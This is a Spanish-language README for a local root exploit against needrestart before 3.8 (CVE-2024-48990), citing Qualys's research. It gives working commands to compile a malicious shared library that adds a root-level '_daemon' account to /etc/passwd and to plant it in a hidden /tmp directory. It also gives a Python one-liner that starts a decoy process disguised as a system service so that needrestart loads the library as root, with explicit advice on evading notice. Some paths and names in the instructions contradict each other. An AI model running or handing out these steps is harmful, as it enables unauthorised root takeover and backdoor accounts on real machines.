
Exploit para CVE-2024-48990 (Escalada de privilegios local en needrestart < 3.8)
Exploit para CVE-2024-48990 (Escalada de privilegios local en needrestart < 3.8)
Lee https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys hace un gran trabajo explicándolo.
TLDR;
En sistemas con needrestart anterior a 3.8, los usuarios locales pueden ejecutar código arbitrario y escalar privilegios a root sin interacción del usuario.

El exploit tal como está escrito ahora añadirá un nuevo usuario llamado "_daemon" al sistema con UID/GID de 0 (root) mediante un comando sed para editar el archivo /etc/passwd. La contraseña es la misma que el nombre de usuario. Ni siquiera estoy seguro de que puedas llamarlo exploit, ya que es solo una biblioteca compartida que ejecuta un solo comando.
Para compilar el exploit por ti mismo, ejecuta lo siguiente:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
Podrías ejecutar cualquier script de python de larga duración. Pero para parecer menos sospechoso en la lista de procesos, puedes usar este comando de una sola línea para iniciar un intérprete de python que se suspende tan pronto como se inicia (por lo que nunca llega a ejecutar nada).
PYTHON - La ruta al intérprete de python
ARGV - La cadena que aparecerá en la lista de procesos
PYPATH - La ruta al directorio que creaste (sin incluir el directorio importlib)
Para ARGV, asegúrate de que:
la ruta al intérprete de python sea el primer argumento en ARGV
el segundo argumento (el "script") sea un archivo que realmente exista en el sistema (needrestart lo comprueba). No tiene que ser un script de python real.
el segundo argumento no sea el mismo que el de un proceso que ya se está ejecutando (needrestart usará el que está "en caché" y que ya ha visto).
Aparte de eso, puedes jugar con ARGV tanto como quieras. ¿Quizás hacer que parezca un proceso normal del sistema?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
Debe estar dentro del directorio importlib y llamarse "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
La próxima vez que needrestart se ejecute (es decir, cuando una actualización con apt o unattended upgrades lo inicie), ejecutará python con la variable PYTHONPATH de nuestro proceso y cargará el archivo init.so, que ejecutará nuestro comando. Podrás iniciar sesión con las credenciales _damon:_daemon.
needrestart no es completamente tonto y comprueba varias cosas al escanear procesos y antes de entrar en la parte vulnerable del código